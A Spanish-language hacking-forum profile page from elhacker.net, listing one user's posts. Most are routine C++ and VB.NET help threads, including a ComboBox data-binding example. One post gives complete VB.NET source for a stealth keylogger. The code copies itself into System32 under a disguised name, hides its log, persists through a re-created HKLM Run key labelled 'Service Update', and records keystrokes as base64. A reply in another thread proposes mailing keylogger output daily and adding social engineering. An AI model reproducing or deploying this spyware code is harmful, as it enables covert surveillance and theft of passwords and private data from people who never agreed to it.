elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 2 [3]
21  Programación / Programación C/C++ / Re: Existe alguna Funcion como: IsWindowsShutDown en c++? en: 14 Enero 2011, 17:50 pm
Cuando el sistema va a ser reiniciado u apagado, este envía un mensaje WM_QUERYENDSESSION a cada aplicación. Las aplicaciones que devuelvan TRUE a dicho mensaje, reciben WM_ENDSESSION.

Y con eso te debería bastar para lo que quieres hacer. Otra opción seria emplear hooks pero no creo que sea lo mas adecuado en este caso.

Saludos!


Gracias De seguro me servira
22  Programación / Programación C/C++ / Existe alguna Funcion como: IsWindowsShutDown en c++? en: 14 Enero 2011, 17:03 pm
Hola quisiera que me ayudaran un poco con mi incognita: Existe en c++ una funcion o procedimiento que le indique a mi programa que Windows sera apagado?, se que podria empezar a buscar en google pero no se como entrarle al tema, me dieran una pista de como hacerle.
algo asi como que el usuario que windows no tenga que finalizar el proceso o el usuario dandole "Finalizar Ahora"

Gracias....
23  Programación / Java / Re: [Tutorial] Keylogger en Java (JNI) en: 23 Septiembre 2010, 19:43 pm
olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

Si el API para esa funcion se llama int GetAsyncKeyState(int vkey)
y esta en la dll llamada user32.dll
24  Programación / .NET (C#, VB.NET, ASP) / Re: [Ayuda]Es posible usar una dll que se encuentre en otro dir que el programa VB.N en: 23 Septiembre 2010, 19:08 pm
Sí, claro que es posible.

Tienes que Usar la clase Assembly y el método Load: http://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(VS.71).aspx

Mira este post, que también habla de algo parecido: https://foro.elhacker.net/net/solucionado_cargar_dll_a_memoria-t304923.0.html

Un saludo!

GRACIAS probaré a ver como me va
25  Programación / .NET (C#, VB.NET, ASP) / [Ayuda]Es posible usar una dll que se encuentre en otro dir que el programa VB.N en: 22 Septiembre 2010, 22:42 pm
Gracias por leer esto y quisiera que me ayudaran a responder mi duda ¿Es posible en Visual Basic .NET utilizar una dll que se encuentre en otro directorio diferente de donde se encuentra la aplicacion que la necesita?

Gracias...
26  Programación / .NET (C#, VB.NET, ASP) / Re: [Ejemplo] Cargar Combobox con Dataset VB.NET en: 20 Septiembre 2010, 05:12 am
Aqui muestro un pequeno ejemplo de como cargar los datos de una bd a un combobox en vb.net

Código
  1.  Public Sub Cargar_combo(ByVal combobox As ComboBox, ByVal sqlinstruccion As String)
  2.  
  3.        'Carga el contenido de un dataset en un combobox, solo pueden devolver dos relaciones
  4.        'ya que el combobox cuenta con dos propiedades: text y value
  5.  
  6.        Dim ds As New DataSet
  7.        BD.Llenards(ds, sqlinstruccion)
  8.        combobox.DataSource = ds.Tables(0)
  9.        combobox.DisplayMember = ds.Tables(0).Columns(0).Caption.ToString()
  10.        combobox.ValueMember = ds.Tables(0).Columns(1).Caption.ToString()
  11.    End Sub
  12.  
  13. 'Aqui esta el Codigo de el Procedimiento Llenards
  14. Public Sub Llenards(ByRef ds As DataSet, ByVal sqlinstruccion As String)
  15.        Conectarbd()
  16.        Dim adaptador As New OleDb.OleDbDataAdapter(sqlinstruccion, bd)
  17.        adaptador.Fill(ds)
  18.        Desconectarbd()
  19.    End Sub
  20.  

Espero que a alguien le serva  ya que el ejemplo en el que me base para este codigo me fue dificil de encontrarlo ;)
Alguna duda, sugerencia o comentario; me lo hacen saber por fa

*Este ejemplo puede ser utilizado de la siguiente Manera

Código
  1. Cargar_combo(Mi_Combobox as Combobox, "select id_persona,nombre_persona from personas")
  2. 'Tratar de que el value del combox siempre sea la primera a escribir
  3. ' en la instruccion sql y luego el texto que se va a mostrar para el usuario
  4.  
27  Programación / .NET (C#, VB.NET, ASP) / [Ejemplo] Cargar Combobox con Dataset VB.NET en: 20 Septiembre 2010, 03:04 am
Aqui muestro un pequeno ejemplo de como cargar los datos de una bd a un combobox en vb.net

Código
  1.  Public Sub Cargar_combo(ByVal combobox As ComboBox, ByVal sqlinstruccion As String)
  2.  
  3.        'Carga el contenido de un dataset en un combobox, solo pueden devolver dos relaciones
  4.        'ya que el combobox cuenta con dos propiedades: text y value
  5.  
  6.        Dim ds As New DataSet
  7.        BD.Llenards(ds, sqlinstruccion)
  8.        combobox.DataSource = ds.Tables(0)
  9.        combobox.DisplayMember = ds.Tables(0).Columns(0).Caption.ToString()
  10.        combobox.ValueMember = ds.Tables(0).Columns(1).Caption.ToString()
  11.    End Sub
  12.  
  13. 'Aqui esta el Codigo de el Procedimiento Llenards
  14. Public Sub Llenards(ByRef ds As DataSet, ByVal sqlinstruccion As String)
  15.        Conectarbd()
  16.        Dim adaptador As New OleDb.OleDbDataAdapter(sqlinstruccion, bd)
  17.        adaptador.Fill(ds)
  18.        Desconectarbd()
  19.    End Sub
  20.  

Espero que a alguien le serva  ya que el ejemplo en el que me base para este codigo me fue dificil de encontrarlo ;)
Alguna duda, sugerencia o comentario; me lo hacen saber por fa

*Este ejemplo puede ser utilizado de la siguiente Manera

Código
  1. Cargar_combo(Mi_Combobox as Combobox, "select id_persona,nombre_persona from personas")
  2. 'Tratar de que el value del combox siempre sea la primera a escribir
  3. ' en la instruccion sql y luego el texto que se va a mostrar para el usuario
  4.  
28  Seguridad Informática / Análisis y Diseño de Malware / Key Loger en VB .NET en: 17 Septiembre 2010, 16:56 pm
Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código
  1. '--------------------------------------------------------------------------
  2. Imports System.Windows.Forms
  3. Module KLG
  4.  
  5.    Sub main()
  6.        Dim tiempo As DateTime = DateTime.Now
  7.  
  8.        If IO.File.Exists(ruta) = True Then
  9.            SetAttr(ruta, FileAttribute.Hidden)
  10.        End If
  11.  
  12.        Comprobar_el_reg()
  13.        copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
  14.        escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")
  15.  
  16.        While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)
  17.  
  18.            espera(70)
  19.            Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar
  20.  
  21.  
  22.            For i As Integer = 32 To 128
  23.                If comprobar_tecla(i) = True Then
  24.                    espera(70)
  25.                    escribe(Chr(i))
  26.                    Exit For
  27.                End If
  28.            Next
  29.  
  30.            If comprobar_tecla(13) = True Then
  31.                escribe(" (E) ")
  32.            End If
  33.  
  34.            If comprobar_tecla(8) = True Then
  35.                escribe(" (B) ")
  36.            End If
  37.  
  38.            If comprobar_tecla(9) = True Then
  39.                escribe(" (T) ")
  40.            End If
  41.  
  42.            If comprobar_tecla(27) = True Then
  43.                escribe(" (S) ")
  44.            End If
  45.  
  46.            If comprobar_tecla(32) = True Then
  47.                escribe(" ")
  48.            End If
  49.  
  50.            If comprobar_tecla(46) = True Then
  51.                escribe(".")
  52.            End If
  53.        End While
  54.  
  55.        escribe(">>EOR")
  56.        Application.Exit()
  57.    End Sub
  58.  
  59. End Module
  60. '--------------------------------------------------------------------------
  61. Aqui el modulo llamado Mod_Operaciones
  62.  
  63. Module Mod_Operaciones
  64.  
  65.    Friend Const ruta As String = "C:\Windows\System32\cssrs.001"
  66.  
  67. 'Escribe en el archivo cssrs.001 las lecturas registradas
  68. 'se le agrega un poco de seguridad convirtiendolo a base64
  69.  
  70.    Friend Sub escribe(ByVal cadena_tecla As String)
  71.        Dim archivo As New IO.StreamWriter(ruta, True)
  72.        archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
  73.        archivo.Flush()
  74.        archivo.Dispose()
  75.        archivo.Close()
  76.    End Sub
  77.  
  78. 'Copia el ejecutable de keylogger en el directorio system32
  79.    Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
  80.        If IO.File.Exists(ruta_destino) = True Then Exit Sub
  81.        IO.File.Copy(ruta_origen, ruta_destino)
  82.    End Sub
  83.  
  84. 'Intervalo de tiempo para las lecturas
  85.    Friend Sub espera(ByVal milisegundos As Integer)
  86.        Threading.Thread.Sleep(milisegundos)
  87.    End Sub
  88.  
  89. End Module
  90. '-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones
  91.  
  92. Imports Microsoft.Win32
  93. Module Mod_Subsistir
  94.  
  95.    Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
  96.  
  97. 'Comprueba si la clave de registro se encuentra en el sistema
  98. 'si no existe o si es borrada la crea
  99.  
  100.    Friend Sub Comprobar_el_reg()
  101.  
  102.        Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  103.  
  104.        If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then
  105.  
  106.            llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")
  107.  
  108.        End If
  109.    End Sub
  110.  
  111. 'Se encarga de saber que tecla ha sido pulsada
  112.    Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
  113.        If GAKS(tecla) <> 0 Then
  114.            Return True
  115.        End If
  116.    End Function
  117. End Module
  118. '--------------------------------------------------------------------------
  119.  
Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)

Páginas: 1 2 [3]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines